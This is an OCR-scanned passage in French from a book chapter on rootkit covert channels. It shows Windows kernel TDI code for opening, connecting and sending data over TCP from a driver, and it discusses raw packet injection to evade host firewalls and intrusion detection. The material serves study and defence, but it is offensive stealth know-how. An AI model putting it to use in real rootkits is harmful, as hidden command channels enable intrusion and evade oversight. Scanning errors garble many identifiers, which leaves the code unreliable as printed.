code. Dans un environnement Windows, vous disposez de deux modes pour ecrire du 
code de communication en reseau : utilisateur et noyau. Le code en mode utilisateur 
est plus facile a ecrire mais est davantage visible. Celui en mode noyau 


1. Steghide ( http://stegliide.soiirceforge.net ). 

2. D. Opacki, ECHOART. disponible sur http://mirrorl.internap.com/echoart . 

3. Daemon9 et Alhambra, "Project Loki: ICMP Tunneling", PhrackH, n° 49, article 6 (8 novembre 1996), 
disponible sur www.phrack.org/phrack/49/P49-06 . 

4. Voir B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal. : eEye 
Digital Security, 2005), disponible sur www.eeye.com/~data/publish/whitepapers/research/ 

OT20050205.FILE.pdf. 

5. Voir par exemple C. Rowland, "Covert Channels in the TCP/IP Protocol Suite", First Monday /2, n” 5 (5 
mai 1997), disponible sur www.flrstmonday.org/issues/issue2 5/rowland . 
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est plus furtif mais est aussi plus complexe. Le noyau ne comprend pas autant de 
fonctions integrees et oblige a developper davantage de code soi-meme. Cette section 
couvre principalement la dissimulation dans TCP/IP au niveau du noyau. 

Les deux principales interfaces avec le noyau sont TDI et NDIS. TDI presente 
l’avantage d’utiliser la pile TCP/IP existante sur la machine, ce qui vous evite d’avoir a 
ecrire votre propre pile. 

Un pare-feu d’hote peut detecter les communications imbriquees dans TCP/IP. Avec 
NDIS, vous pouvez lire et ecrire des paquets bruts sur le reseau et contoumer ainsi 
certains pare-feu, mais l’inconvenient est qu’il vous faut implementer votre propre pile 
TCP/IP pour pouvoir utiliser ce protocole. 

Creation d'une structure d'adresse 

Un rootkit evolue dans un environnement de reseau et devrait done etre capable de 
communiquer avec le reseau. Malheureusement, le noyau n’ offre pas de sockets faciles 
a utiliser. Des bibliotheques sont disponibles, mais elles ne sont pas gratuites et 
peuvent aussi etre tradables. Bien qu’ elles constituent la solution la plus simple, elles 
ne sont pas necessaires pour pouvoir utiliser TCP/IP dans le noyau. 

Pour le programmeur autonome, il existe une bibliotheque du noyau qui supporte les 
fonctionnalites TCP/IP et avec laquelle il peut interagir depuis un driver en mode 
noyau. Les drivers peuvent appeler les fonctions d’autres drivers, e’est ainsi que vous 
pouvez utiliser TCP/IP depuis un rootkit. 

Les services TCP/IP sont accessibles a partir d’un driver qui expose plusieurs 
peripheriques portant des noms tels que /device/tcp et /device/udp. Interessant, non ? 
Cela Pest si vous avez besoin d’une interface de type socket depuis le mode noyau. 

TDI (Transport Data Interface ) est une specification congue pour communiquer avec 
un driver qui supporte TDI. Nous sommes concemes ici par le driver du noyau 
Windows compatible avec TDI qui expose les fonctionnalites TCP/IP. A l’heure de la 
redaction de ce livre, on ne trouve pas de documentations ou d’exemples de code de 
qualite a telecharger illustrant comment utiliser ces fonctionnalites. Un des problemes 
de TDI est qu’il est si souple et generique que la plupart des documents sur le sujet sont 
generaux et manquent de clarte. 

Pour notre propos, nous avons cree un exemple qui vous familiarisera avec la 
programmation TDI. 
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La premiere etape pour programmer un client TDI est de creer une structure d’adresse. 
Cette structure ressemble beaucoup a celles employees dans la programmation de 
sockets en mode utilisateur. Dans notre exemple, nous demandons au driver TDI de 
creer cette structure pour nous. Si la requete reussit, nous recuperons un handle sur 
cette structure. Cette technique est courante dans le developpement de drivers. 

Pour creer une structure d’adresse, nous ouvrons un handle de fichiers vers /device/ 
tcp en lui passant certains parametres speciaux. Nous invoquons pour cela la fonction 
du noyau ZwCreateFile. L’argument le plus important de cet appel est un ensemble 
d’attributs etendus, ou EA ( Extended Attributes) 1 , qui nous sert a passer des 
informations essentielles et uniques au driver (voir Figure 9.2). 


Figure 9.2 

Le driver A envoie une 
requete au driver B via 
I'appel de ZwCreateFile. 

La structure d'attributs 
etendus contient les 
details de la requete. Le 
handle defichier retourne 
est en fait un handle sur 
un objet cree par le driver 
de plus has niveau. 


Driver A 


ZwCreateFile( 


Structure 

d'attributs 

etendus 



♦ 


Retourne 

un 

handle 

vers 
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Driver B 


r n 

: Cree 
I I'objet 
• demande 


Un peu de documentation peut etre utile ici. L’emploi de l’argument d’attributs 
etendus est unique et specifique au driver en question. Dans notre cas, nous devons 
passer des informations sur l’adresse IP et le port TCP que nous voulons utiliser pour 
le canal secret. Le DDK de Microsoft documente cela, bien qu’il ne soit pas tres precis 
et ne donne pas d’ exemple de code. 


1. Les attributs etendus sont surtout utilises par les drivers du systeme de fichiers. 




Chapitre 9 


Canaux de communication secrets 265 


L’argument d’attributs etendus est un pointeur vers une structure de type 
FILE FULL EA INF0RMATI0N qui est documentee dans le DDK. Voici a quoi elle 
ressemble : 

typedef struct _F I LE_FULL_EA_IN FORMATION 

{ 

ULONG NextEntryOffset ; 

UCHAR Flags; 

UCHAR EaNameLength; 

USHORT EaValueLength; 

CHAR EaName[l] ; 

} FILE_FULL_EA_INFORMATION, *PF I LE_FULL_EA_IN FORMATION; 

Creation d'un objet adresse locale 

Nous devons maintenant creer un objet adresse. Cet objet sera ensuite associe a un 
point d’extremite ( endpoint ) pour que la communication puisse debuter. II est construit 
en utilisant le champ d’attributs etendus de l’appel de ZwCreateFile. Le nom de fichier 
specific ici est \Device\Tcp : 

#define DD_TCP_DEVICE_NAME L"\\Device\\Tcp" 

UNICODE_STRING TDI_TransportDeviceName; 

// Cree un nom de peripherique de transport Unicode 
RtlInitUnicodeString(&TDI_TransportDeviceName, 

D D_TC P_D EVIC E_NAM E ) ; 

Nous irfitialisons ensuite la structure des attributs de 1 ’objet. La partie la plus 
importante de cette structure est le nom du peripherique de transport. Nous specifions 
egalement que la chaine devrait etre traitee comme etant insensible a la casse. Si le 
systeme cible est Windows 2000 ou plus, nous devrions aussi specifier 
0B1_KERNEL_HANDLE. 

C’est toujours une bonne chose que d’utiliser assert pour verifier le niveau d’lRQ 
d’un appel. Ceci permet a la version de debugging de votre driver de signaler une 
gestion incorrecte des niveaux d’IRQ. 

0B1ECT_ATTRIBUTES TDI_0bject_Attr; 

// Cree les attributs de 1' objet 

// L' appel doit avoir lieu au niveau d'lRQ PASSIVE_LEVEL 
ASSERT ( KeGetCurrentIrql() == PASSIVE_LEVEL ); 

InitializeObj ectAttributes(&TDI_0bject_Attr, 

&TDI_T ransportDeviceName j 0B1_CASE_INSENSITIVE 
| OBT_KERNEL_HANDLE , 



Nous arrivons maintenant a la structure d’attributs etendus. Nous specifions un tampon 
suffisamment grand pour qu’il puisse contenir la structure plus 1’ adresse 
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TDI. Cette structure comprend un champ NextEntryOffset qui est defini a zero pour 
indiquer que nous envoyons une seule structure dans la requete. II y a egalement un 
champ EaName que nous definissons avec la constante TDI TRANS- PORT ADDRESS. Cette 
constante correspond a la chaine "Transport Ad dress" dans le fichier d’en-tete Tdi. h. 

Void la structure file_full_ea_information que nous utilisons : 
typedef Struct _FILE_FULL_EA_INFORMATION 
{ 

ULONG NextEntryOffset ; 

UCHAR Flags; 

UCHAR EaNameLength ; 

USHORT EaValueLength; 

CHAR EaName[l] ; // Defini avec TDI_TRANSPORT_ADDRESS 

// suivi d'une structure TA_IP_ADDRESS. 

} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 

Voici le code qui permet de 1’ initialiser : 

Char EA_Buffer [Sizeof ( FILE_FULL_EA_INFORMATION) + 

TDI_TRANSPORT_ADDRESS_LENGTH + sizeof (TA_IP_ADDRESS) ] ; 
PF I LE_FULL_EA_IN FORMATION pEA_Buffer = 

(PFILE_FULL_EA_INFORMATION) EA_Buffer; pEA_Buffer->NextEnt 
ryOffset = 0; pEA_Buffer->Flags = 0; 

Le champ EaNameLength re£oit la constante TDl_TRANSPORT_ADDRESS_LENGTH. II s’agit de 
la longueur de la chaine TransportAddress moins le caractere de terminaison NULL. 
Nous sommes certains de copier la chaine entiere, le caractere de terminaison null y 
compris, lorsque nous initialisons le champ EaName : 

pEA_Buffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH; memcpy (pEA_Buffer- 
>EaName, 

TdiTransportAddress, pEA_Buffer->EaNameLength + 1 

); 

EaValue est une structure ta_transport_address qui contient l’adresse IP de l’hote local 
et le port TCP local a utiliser pour la connexion. Elle inclut aussi une ou plusieurs 
structures tdi_address_ip. Si vous avez quelques connaissances en programmation de 
sockets utilisateur, vous pouvez voir la structure tdi address ip comrne T equivalent 
dans le noyau de la structure sockaddr in. 

II est preferable de laisser le driver sous-jacent choisir le port TCP local, ce qui vous 
evite d’ avoir a determiner les ports qui sont deja pris. La seule situation ou le port 
source doit etre controle est lorsque la connexion passe par un pare -feu dont les 



Chapitre 9 


Canaux de communication secrets 267 


regies de filtrage peuvent etre contoumees en specifiant un port source specifique (port 
80, 25 ou 53). 

Nous operons un calcul pour pointer vers (’emplacement de EaValue afin de pouvoir 
ecrire les donnees. Le pointeur psin nous facilite les choses. Nous devons veiller a 
definir le champ EaValueLength avec une taille correcte. La structure TA IP ADDRESS 
ressemble a ceci : 

typedef struct _TA_ADDRESS_IP { 

LONG TAAddressCount; 
struct _AddrIp { 

USHORT AddressLength; 

USHORT AddressType; 

TDI_ADDRESS_IP Address[l]; 

} Address [ 1 ] ; 

1 TA_IP_ADDRESS, *PTA_IP_ADDRESS; 

Elle est initialisee comme suit : 

PTA_IP_ADD R ESS pSin; 

pEA_Buffer->EaValueLength = sizeof (TA_IP_ADDRESS) ; pSin = 

(PTA_IP_ADDRESS) (pEA_Buff er- >EaName + pEA_Buffer- 
>EaNameLength + 1 ); pSin->TAAddressCount = 1 ; 
pSin->Address[0] . AddressLength = TDI_ADDRESS_LENGTH_IP; pSin- 
>Address[0] .AddressType = TDI_ADDRESS_TYPE_IP; 

Pour faire en sorte que le driver sous-jacent choisisse un port source a notre place, 
nous specifions 0 comme port source. Pensez a fermer vos ports lorsque vous avez 
termine, sinon le systeme risque d’en manquer. Nous specifions egalement 0 comme 
adresse source pour que le driver sous-jacent renseigne l’adresse IP de l’hote local 
pour nous : 

pSin->Address[0] .Address[0] .sin_port = 0; pSin->Address[0] .Address[0] .in_addr 
= 0; 

// Veille a ce que le reste de la structure soit a zero 
memset( pSin->Address[0] .Address[0] .sin_zero J 
0 , 

sizeof (pSin->Address[0] .Address[0] ,sin_zero) 

); 

Nous appelons enfin ZwCreateFile. N’oubliez pas de toujours verifier avec assert que 
le niveau d’lRQ est correct : 

NTSTATUS status; 

ASSERT ( KeGetCur rentlrql ( ) == PASSIVE_LEVEL ); status = 

ZwCreateFile( 

&TDI_Address_Handlej 

GENERIC_READ|GENERIC_WRITE | SYNCHRONIZE, 

&TDI_0bj ect_Attr, 
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&IoStatus, 

0 , 

FILE_ATTRIBUTE_NORMAL J 

FILE_SHARE_READ, 

FILE_OPENj 

0 ? 

pEA_Buffer, 
sizeof (EA_Buffer) 

); 

if ( !NT_SUCCESS( status)) 

{ 

DbgPnint( "Failed to open address object, 
status 0x%08X"j status); 

// A faire : liberer les ressources return 
STATUS UNSUCCESSFUL; 


Nous recuperons un handle sur l’objet qui vient d’etre cree, que nous utiliserons dans 
des appels de fonctions ulterieurs : 

ASSERT ( KeGetCurrentlrqlQ == PASSIVE_LEVEL ); status = 
ObReferenceObjectByHandle(TDI_Address_Handle, 

FILE_ANY_ACCESS, 

0 2 

KernelMode, 

(PVOID *)&pAddrFileObj J 
NULL ); 

Et voila, nous avons cree un objet adresse. Cette operation pourtant simple a necessite 
beaucoup de code, mais ne vous inquietez pas car le processus devient vite une 
routine. 

Les sections suivantes expliquent comment associer cet objet a un point d’extremite et, 
pour finir, comment se connecter a un serveur. 

Creation d'un point d'extremite TDI avec un contexte 

La creation d’un point d’extremite TDI requiert un autre appel de ZwCreateFile. La 
seule difference avec T appel precedent est T emplacement vers lequel pointe EA Buf f 
er. Vous pouvez voir que la plupart des arguments sont passes dans la structure 
d’attributs etendus. Le tampon EABuf f er devrait contenir un pointeur vers une 
structure definie par l’utilisateur appelee structure de contexte. Dans notre exemple, 
nous definissons le contexte avec une valeur de remplissage car nous ne Tutilisons 
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La structure file_full_ea_inf0RMATI0N ressemble a ce qui suit : 

typedef struct _F I LE_FULL_EA_IN FORMATION { 

ULONG NextEntryOffset ; 

UCHAR Flags; 

UCHAR EaNameLength; 

USHORT EaValueLength; 

CHAR EaName[l]; // Defini avec "ConnectionContext" 

// suivi d'un pointeur vers une structure // 
definie par 1 ' utilisateur. 

} FILE_FULL_EA_INFORMATION, *PF I LE_FULL_EA_IN FORMATION; 

Voici le code qui sert a l’initialiser : 

// Per Catlin, microsoft. public. development. device. drivers, // 
"question on TDI client, please do help," 2002-10-18. ulBuffer 

FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) + 
TDI_CONNECTION_CONTEXT_LENGTH +1 + 

sizeof (C0NNECTI0N_C0NTEXT); 

pEA_Buff er = (PFILE_FULL_EA_INFORMATION) 

ExAllocatePool(NonPagedPool, ulBuffer); if (NULL==pEA_Buffer) 

{ 

DbgPrint("Failed to allocate buffer"); return 
STATUS_INSUFFICIENT_RESOURCES; 

} 

// Utilise le nom TdiConnectionContext qui // est une chaine == 
"ConnectionContext". memset(pEA_Buffer, 0, ulBuffer); 
pEA_Buffer->NextEntryOffset = 0; pEA_Buffer->Flags = 0; 

// N'inclut pas NULL dans la longueur 

pEA_Buffer->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH; 
memcpy( pEA_Buffer->EaName, 

TdiConnectionContext, 

// Inclut NULL dans la copie 
pEA_Buffer~>EaNameLength + 1 

); 


connection context est un pointeur vers une structure foumie par l’utilisateur et peut 
pointer vers n’importe quoi. II est generalement utilise par les developpeurs de drivers 
pour garder trace de l’etat associe a la connexion. Nous pouvons placer ce que nous 
voulons dedans. 
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Etant donne que nous utilisons une seule connexion, nous n’avons pas besoin de 
garder trace de quoi que ce soit et specifions done une valeur de remplissage pour le 
contexte : 

pEA_Buffer->EaValueLength = sizeof (C0NNECTI0N_C0NTEXT) ; 

Soyez particulierement attentif au calcul concemant le pointeur dans le code suivant : 

*(C0NNECTI0N_C0NTEXT*)( pEA_Buffer->EaName + 

(pEA_Buffer->EaNameLength + 1 ) ) 

= (C0NNECTI0N_C0NTEXT) contextPlaceholder; 

// ZwCneateFile doit s'executer au niveau PASSIVE_LEVEL 
ASSERT ( KeGetCurrentlrqlf) == PASSIVE_LEVEL ); 

status = ZwCneateFile( 

&TDI_Endpoint_Handle, 

GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, 

&TDI_0bject_Attr, 

&IoStatus, 

0 , 

FILE_ATTRIBUTE_NORMAL, 

FILE_SHARE_READ, 

FILE_0PEN, 

0 , 

pEA_Buffer, sizeof (EA_Buffer) 

); “ 


if ( !NT_SUCCESS( status)) 

{ 

DbgPnint( "Failed to open endpoint, status 0x%08X", status); // 
A faire : libenen les nessounces return STATUSJDNSUCCESSFUL; 

} 

II Recupere le handle d'objet. 

II Doit s'executer au niveau PASSIVE_LEVEL. 

ASSERT ( KeGetCurrentlrqlQ == PASSIVE_LEVEL ); status = 
0bReference0bjectByHandle( 

TDI_Endpoint_Handle, 

F I L E_AN Y_AC CESS, 

0 , 

KernelMode, 

(PV0ID *)&pConnFile0bj, 

NULL 
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Nous disposons a present d’un objet point d’extremite. Nous avons deja cree un objet 
adresse locale qu’il ne nous reste plus qu’a associer au nouveau point d’extremite. 

Association d'un point d'extremite a une adresse locale 

Apres avoir cree a la fois un objet point d’extremite et un objet adresse locale, l’etape 
suivante consiste a les associer. Un point d’extremite n’est d’aucune utilite sans une 
adresse associee. Celle-ci indique au systeme quel port local et quelle adresse IP 
utiliser. Dans notre exemple, nous avons configure 1’ adresse de fag on que le systeme 
choisisse un port local a notre place (ce qu’il fait typiquement pour un Socket). 

La communication avec le driver sous-jacent se fera au moyen d’IRP. Pour chaque 
fonction que nous souhaitons appeler, nous devons creer un IRP, y placer des 
arguments et des donnees et le passer au driver via la routine IoCallDriver. Apres avoir 
passe chaque IRP, nous devons attendre qu’il se termine. Pour cela, nous utilisons une 
routine de terminaison. Un evenement partage par la routine de terminaison et le reste 
de notre code nous permet d’ attendre que le traitement prenne fin. 

// Recupere le peripherique associe a l'objet adresse, 

// c'est-a-dire un handle vers l'objet peripherique / /du driver 
TDI . 

// (e.g., "\Driver\SYMTDI") . 

pTcpDevObj = IoGetRelatedDeviceObject(pAddrFileObj); 

// Utilise pour attendre la fin d'un IRP 

KelnitializeEvent(&AssociateEvent, Notif icationEvent, FALSE); 

// Cree un IRP pour l'appel associe plrp = 

TdiBuildlnternalDeviceControlIrpj TDI_ASSOCIATE_ADDRESS, 

pTcpDevObj, // Objet peripherique du driver TDI. 

pConnFileObj, // Objet fichier de connexion (point 

II d ' extremite) . 

&AssociateEvent, II Evenement a signaler lorsque II 
l'IRP se termine. 

&IoStatus II Bloc d'etat d'E/S. 


); 

if (NULL==pIrp) 

{ 

DbgPrint( "Could not get an IRP for 

TDI_ASSOCIATE_ADDRESS" ) ; 

return (STATUS_INSUF FICI ENT_RES0URCES ) ; 
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II Ajoute des donnees a l'IRP 
TdiBuildAssociateAddress( plnp, 
pTcpDevObj, 
pConnFileObj , 

NULL, 

NULL, 

TDI_Address_Handle ); 

// Envoie une commande au driven TDI sous-jacent. 

// II s'agit de 1’ essence du canal de communication // 
avec le driver sous-jacent. 

// Definit la routine de terminaison. 

// Doit s'executer au niveau PASSIVE_LEVEL . 

ASSERT ( KeGetCurrentlrqlQ == PASSIVE_LEVEL ); 

IoSetCompletionRoutine( 

Plrp, 

TDICompletionRoutine, 
&AssociateEvent, TRUE, TRUE, TRUE); 

// Effectue l'appel. 

// Doit s'executer au niveau <= DISPATCH_LEVEL. 
ASSERT ( KeGetCurrentlrqlQ <= DISPATCH_LEVEL ); 
status = IoCallDriver(pTcpDevObj, plrp); 

// Attend l'IRP, si necessaire if 
(STATUS_PENDING==StatUS) 

{ 

DbgPrint (''Waiting on IRP (associate) ..."); 

// Doit s'executer au niveau PASSIVE_LEVEL 
ASSERT ( KeGetCurrentlrqlO == PASSIVE_LEVEL ); 

KeWaitForSingleObj ect( 
&AssociateEvent, 

Executive, 

KernelMode, 

FALSE, 0); 

} 

if ( (STATUS_SUCCESS ! =status) 

&& 

(STATUS_PENDING ! =StatUS) ) 

{ 

// Quelque chose ne va pas DbgPrint("IoCallDriver 
failed (associate), status 0x%08X", status); 
return STATUS11NSUCCESSFUL; 

} 

if ( (STATUS_PENDING==status) 

&& 

(STATUS_SUCCESS ! =IoStatus . Status ) ) 

{ 


// Quelque chose ne va pas 
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DbgPrint( "Completion of IRP failed (associate), status 0x%08X", 
IoStatus. Status); return STATUSDINSUCCESSFUL; 

} 


Connexion a un serveur distant 

Maintenant que l’adresse locale a ete associee au point d’extremite, nous pouvons 
creer une connexion vers une adresse distante, soit l’adresse IP et le port cibles. Dans 
notre exemple, nous nous connectons au port 80 a l’adresse IP 192.168.0.10. La 
encore, nous utilisons la routine de terminaison pour attendre que 1’IRP prenne fin. 
Lorsque nous appelons le driver sous-jacent, nous devrions nous attendre a ce qu’un 
processus de negociation TCP en trois temps ait lieu sur le reseau, ce qu’un analyseur 
de paquets permet de verifier : 


KelmtializeEventf&ConnectEvent . NotificationEvent . FALSE : 
// Cree un IRP pour se connecter a un hote distant 


plrp = 

TdiBuildInternalDeviceControlIrp( 
TDI_C0NNECT, 
picpDevObj , 
pConnFileObj , 

&ConnectEvent, 

&IoStatus 

); 


/ Objet peripherique du driver TDI. 
/ Objet fichier de connexion (point 
/ d ' extremite) . 

/ Evenement a signaler lorsque l'IRP 
/ se termine. 

/ Bloc d'etat d'E/S. 


if (NULL==pIrp) 

{ 

DbgPrint("Could not get an IRP for TDI_C0NNECT"); 
return (STATUS_INSUF FICI ENT_RES0URCES ) ; 

} 

// Initialise la structure d' adresse IP RemotePort 
= HTONS(80) ; 

RemoteAddr = INETADDR(192, 168, 0,10); 
RmtIPAddr.TAAddressCount = 1; 

RmtIPAddr. Address [0] .Address Length = TDI_ADDRESS_LENGTH_IP; 
RmtIPAddr .Address [0] . AddressType = TDI_ADDRESS_TYPE_IP; 
RmtIPAddr. Address[0] .Address[0] .sin_port = RemotePort; 
RmtIPAddr. Address[0] .Address[0] . in_addr = RemoteAddr; 

RmtNode.UserDataLength = 0; 

RmtNode.UserData = 0; 

RmtNode.OptionsLength = 0; 

RmtNode. Options = 0; 

RmtNode.RemoteAddressLength = sizeof (RmtIPAddr); 
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RmtNode.RemoteAddress = &RmtIPAddr; 

II Ajoute des donnees de connexion IP a l'IRP 
TdiBuildConnect( 

plrp, 

pTcpDevObj, / Objet peripherique du driver TDI. 

pConnFileObj , / Objet fichier de connexion (point 

/ d 1 extremite) . 

NULL, / Routine de terminaison d'E/S. 

NULL, / Contexte de la routine de terminaison. 

NULL, / Adresse de l'intervalle d'expiration. 

&RmtNode, / Adresse du client sur le noeud distant, 

g / Adresse du noeud distant (sortie) 

); 

// Definit la routine de terminaison. 

// Doit s'executer au niveau PASSIVE_LEVEL . 

ASSERT ( KeGetCurrentIrql() == PASSIVE_LEVEL ); 

IoSetComptetionRoutine( plrp, 

TDICompletionRoutine, 

&ConnectEvent, TRUE j TRUE j TRUE); 

// Effectue l'appel. 

// Doit s'executer au niveau <= DISPATCH_LEVEL . 

ASSERT ( KeGetCurrentlrqlQ <= DISPATCH_LEVEL ); 

// Envoie la commande au driver TDI sous-jacent 
status = IoCallDriver(pTcpDevObj, plrp); 

// Attend l'IRP, si necessaire if 
(STATUS_PENDING==Status) 

{ 

DbgPrint("Waiting on IRP (connect)... " ); 

KeWaitForSingleObj ect(&Connect Event, 

Executive, 

KernelMode, FALSE, 0); 

} 

if ( (STATUS_SUCCESS ! =status) 

&& 

(STATUS_P ENDING ! =StatUS) ) 

{ 

// Quelque chose ne va pas 

DbgPrint("IoCallDriver failed (connect), status 0x%08X", status); return 
STATUSl JNSUCCESSFUL; 

} 

if ( (STATUS_PENDING==Status) 

&& 

(STATUS_SUCCESS ! =IoStatus . Status) ) 

{ 
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II Quelque chose ne va pas 

DbgPrint("Completion of IRP failed (connect), status 0x%08X", 

IoStatus. Status); 
retunn STATUSHNSUCCESSFUL; 

} 

Sachez que Tetablissement de la connexion TCP peut prendre un certain temps. Etant 
donne que nous pouvons attendre un long moment la survenue de T evenement de 
terminaison et que nous ne devrions jamais bloquer le thread lorsque nous arrivons 
dans DriverEntry, notre exemple ne conviendrait pas dans un veritable rootkit. Dans 
la pratique, il faudrait revoir la conception du driver pour qu’un thread de travail gere 
Tactivite TCP. 


Envoi de donnees a un serveur distant 

Pour completer notre exemple, nous allons creer des instructions afm d’envoyer des 
donnees au serveur distant. Nous employons a cette fin un IRP et un evenement 
d’attente. Nous allouons d’abord de la memoire pour les donnees a transmettre et 
verrouillons cette memoire pour qu’elle ne soit pas paginee sur disque : 

KelnitializeEvent(&SendEvent, NotificationEvent , FALSE); 

SendBfrLength = strlen(SendBfr); 


pSendBuffer = ExAllocatePool(NonPagedPool, SendBfrLength); memcpy(pSendBuffer, 
SendBfr, SendBfrLength); 


// Cree un IRP pour se connecter a un hote distant 
plrp = TdiBuildlnternalDeviceControlIrpf 
TDI_SEND, 
pTcpDevObj, 
pConnFileObj 


&SendEvent, 

&IoStatus 

); 


// Objet peripherique du driver TDI. // 
Objet fichier de connexion (point // 
d ' extremite) . 

// Evenement a signaler lorsque II 
1 1 IRP se termine. 

II Bloc d'etat d'E/S. 


if (NULL==pIrp) 

{ 

DbgPrint(“Could not get an IRP for TDI_SEND"); 
return(STATUS_INSUFFICIENT_RESOURCES) ; 11 


II Ce code est necessaire si le tampon se trouve dans le pool 
pagine. II Doit s'executer au niveau <= DISPATCH_LEVEL. 

/*ASSERT ( KeGetCurrentIrql() <= DISPATCH_LEVEL ); 

pMdl = IoAllocateMdl(pSendBuffer, SendBfrLength, FALSE, FALSE, plrp); 
if (NULL==pMdl) 
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DbgPrint(“Could not get an MDL for TDI_SEND r< ); 
return(STATUS_INSUFFICIENT_RESOURCES) ; 


II Doit s'executer au niveau < DISPATCFI_LEVEL pour la memoire paginable. 
ASSERT ( KeGetCurrentlrqlQ < DISPATCH_LEVEL ); 

_try 

{ 

MmProbeAndLockPages( 

pMdl, // Corrige (ou essaie de corriger) le tampon 
KernelMode, 

IoModifyAccess ); 

} 

_ except (EXCEPTION_EXECUTE_FIANDLER) 

{ 

DbgPrint("Exception calling MmProbeAndLockPages"); 


return STATUS 

} 

UNSUCCESSFUL; 



J 

/*TdiBuildSend( 

plrp, 

pTcpDevObj, 

// 

Objet peripherique du driver TDI. 


pConnFileObj, 

// 

Objet fichier de connexion (point 



// 

d 'extremite) . 


NULL, 

// 

Routine de terminaison d'E/S. 


NULL, 

// 

Contexte de la routine de terminaison 


pMdl, 

// 

Adresse de la MDL. 



/ 

Flags. 0 => envoyes comme TSDU 


/ 

Longueur du tampon mappe par la MDL. 

normale. 

SendBf rLeneth 

// 



// Definit la routine de terminaison. 

// Doit s'executer au niveau PASSIVE_LEVEL. 
ASSERT ( KeGetCurrentlrqlQ == PASSIVE_LEVEL ); 


IoSetCompletionRoutine( 

plrpj 

TDICompletionRoutine, 

&SendEvent, TRUE, TRUE, TRUE); 

// Effectue l'appel. 

// Doit s'executer au niveau <= DISPATCH_LEVEL. 

ASSERT ( KeGetCurrentlrqlQ <= DISPATCH_LEVEL ); // 

Envoie la commande au driver TDI sous-jacent 
status = IoCallDriver(pTcpDevObj, plrp); 

// Attend l'IRP, si necessaire, 
if (STATUS_PENDING==StatUS) 

{ 

DbgPrint( "Waiting on IRP (send)..."); KeWaitForSingleObj ect( 
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&SendEvent , 

Executive, KernelMode, FALSE, 0); 

} 

if ( (STATUS_SUCCESS ! =Status) 

&& 

(STATUS_P ENDING ! =StatUS) ) 

{ 

II Quelque chose ne va pas 

DbgPrint("IoCallDriver failed (send), status 0x%08X", status); 
return STATUS_UNSUCCESSFUL; 

} 

if ( (STATUS_PENDING==Status) 

&& 

(STATUS_SUCCESS ! =IoStatus . Status) ) 

{ 

// Quelque chose ne va pas 

DbgPrint("Completion of IRP failed (send), status 0x%08X", 

IoStatus. Status); 

return STATUSllNSUCCESSFUL; 

} 

La transmission des donnees peut prendre un certain temps. La encore, dans un 
veritable driver, vous ne voudriez pas bloquer la routine Drive rEntry. 

A ce stade, nous avons integre au rootkit un support de niveau noyau en utilisant TDI. 
Cette methode est commode puisque la couche TDI se charge du protocole TCP/IP a 
notre place. L’inconvenient est qu’elle n’echappe pas facilement a la detection d’un 
pare-feu d’hote. Elle ne nous permet pas non plus d’operer une manipulation de bas 
niveau des paquets. La section suivante aborde les strategies de manipulation de 
paquets bruts. 


Manipulation du trafic de reseau 

Lorsque vous utilisez un rootkit de noyau, vous disposez generalement d’un acces aux 
drivers qui controlent la carte reseau. Ceci signifie que vous pouvez capturer et injecter 
des trames. A partir d’une trame brute, vous pouvez controler tous les elements de la 
communication gouvemant le routage et T identification, tels que Tadresse Ethernet 
(ou adresse MAC), le port source TCP ou l’adresse IP source. Vous n’etes done pas 
dependant de la pile TCP/IP de l’hote infecte. Ceci peut etre utile et permet de rnieux 
dissi muler la source de la communication. Plus important encore, cela peut permettre 
de contoumer les systemes pare-feu (firewall) et de detection d’intrusion (IDS). 
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Nous commencerons par la manipulation de paquets bruts a partir d’un programme en 
mode utilisateur. Bien que ce livre traite des rootkits de noyau, nous avons pense qu’il 
serait plus facile pour le lecteur d’apprendre a manipuler des trames et des protocoles a 
partir d’un programme dans ce mode. Nous traiterons ensuite de la manipulation de 
paquets a partir du noyau. 

^implementation de sockets bruts dans Windows XP 

Microsoft a attendu longtemps avant d’utiliser une interface de sockets bruts (raw 
sockets). Les developpeurs etaient alors forces d’ employer des techniques de niveau 
driver pour toute action "sophistiquee" portant sur la pile TCP/IP, telle que le spoo- 
fing de paquets permettant de creer des paquets "personnalises". Maintenant que les 
sockets bruts ont ete introduits dans Windows, les auteurs de rootkit peuvent forger 
des paquets a partir du mode utilisateur. 

Si une machine opere sous Windows XP SP2, le potentiel des sockets bruts est limite. 
Ce choix de la part de Microsoft est peut-etre une reponse a la menace des vers 
Internet. Dans ce cas, il n’est pas possible de forger des paquets TCP bruts. Par 
exemple, il ne sera pas possible de faire un Scan SYN. Des paquets UDP peuvent etre 
ecrits, mais Tadresse source ne peut etre falsifiee. De plus, SP2 rend difficile la 
creation d’un scanner de ports. Si vous tentez un scan complet de connexion TCP, 
vous serez limite. 

Les sockets bruts sont ouverts de la meme maniere que les sockets ordinaires, ils 
fonctionnent juste un peu differemment. Comme pour tous les programmes de sockets 
pour Windows, la premiere etape consiste a initialiser Winsock en utilisant wsAStartup 


WSAData wsaData; 

if (WSAStartup(MAKEW0RD(2, 2), &wsaData) != 0) 

{ 

printf ( "WSAStartup ( ) failed An"); 
exit(-l) ; 

} 

Vous devez ensuite ouvrir un socket a l’aide d’un appel de la fonction socket. Notez 
l’emploi de la constante S0CK_raw. Si l’appel reussit, vous disposez alors d’un socket 
brut que vous pouvez utiliser pour sniffer des paquets et envoyer des paquets bruts. 

SOCKET mySocket = socket (AF_INET, S0CK_RAW, IPPR0T0_IP); if 
(mySocket == INVALID_SOCKET) 



Chapitre 9 


Canaux de communication secrets 279 


printf ("socket() failed. \n")l 
exit(-l); 

} 

Liaison a une interface 

Un socket brut n’est pas operationnel tant qu’il n’a pas ete lie a une interface. Pour 
cela, vous devez specifier l’adresse IP de l’interface locale a laquelle vous souhaitez le 
lier. Dans la plupart des cas, vous devrez determiner celle-ci dynamiquement. 
L’exemple suivant obtient l’adresse et la stocke dans la structure in addr : 

// Decouvre le nom d'hote/l'IP char ac[255]; struct in_addr addr; 
if (gethostname(aCj sizeof(ac)) != SOCKET_ERROR) 

I 

struct hostent *phe = gethostbyname(ac); 
if(phe != NULL) 

{ 

memcpy(&addr, 

phe->h_addr_list[0 ] , 
sizeof (struct in_addr)); 



